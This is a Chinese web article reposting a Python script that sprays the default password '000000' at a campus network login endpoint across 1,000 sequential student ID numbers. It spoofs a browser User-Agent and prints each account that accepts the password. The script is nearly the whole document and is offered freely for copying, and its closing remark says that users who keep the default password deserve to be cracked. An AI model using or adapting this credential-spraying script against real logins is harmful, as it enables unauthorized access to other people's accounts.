现在时间是:
当前位置:首 页 >> 数据采集>> 文章列表

Requests 简单登录密码比对

作者:   发布时间:2016-02-04 08:39:40   浏览次数:1407


# 源于Github的一段源码,编写的比较规范,应该是专业选手!

# encoding:utf-8
__author__ = 'www.yeayee.com' # 由本站增加注释,可随意ForkCopy

import requests # 用来请求网络的模块
import hashlib # 用来加密的模块

# 登录页的url
url = 'http://10.0.0.55/cgi-bin/do_login'
# 有些网站反爬虫,这里用headers把程序伪装成浏览器
# 部分网站如果登陆实在难以搞定,那么用cookie也是极好的
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'}

def md5(str):
# md5加密
m = hashlib.md5()
m.update(str)
return m.hexdigest()


def login(form_data):
# 网址请求并获取内容
s = requests.session()
response = s.post(url, data=form_data, headers=header)
return response.content


def tryAccount(id_start, id_end, default_pass):
# 登录需要提交的表单,格式为字典
form_data = {'username': 'XXXXXX', # 填入网站的用户名
'password': 'XXXXXX', # 填入网站密码(加密后的),这两行会被随后的命令赋值,因此可以省略
'drop': 0,
'type': 1,
'n': 100
}

passwd = md5(default_pass)[8:24]
form_data['password'] = passwd # 将加密后的密码填入表单

for i in range(id_start, id_end):
form_data['username'] = str(i) # 将用户名填入表单
result = login(form_data) # 登录,获取返回的 response 结果
if result != 'password_error' and result != 'username_error':
print (str(i) + "t" + result) # 打印账号、密码正确的学号...
print("n上网不设密,活该被破解!")


if __name__ == "__main__":
ID_START = 1120130000 # 起始学号
ID_END = 1120131000 # 结束学号1000测试号码
DEFAULT_PASS = "000000" # 初始密码
tryAccount(ID_START, ID_END, DEFAULT_PASS)








上一篇:没有了    下一篇:没有了

Copyright ©2018    易一网络科技|www.yeayee.com All Right Reserved.

技术支持:自助建站 | 领地网站建设 |短信接口 版权所有 © 2005-2018 lingw.net.粤ICP备16125321号 -5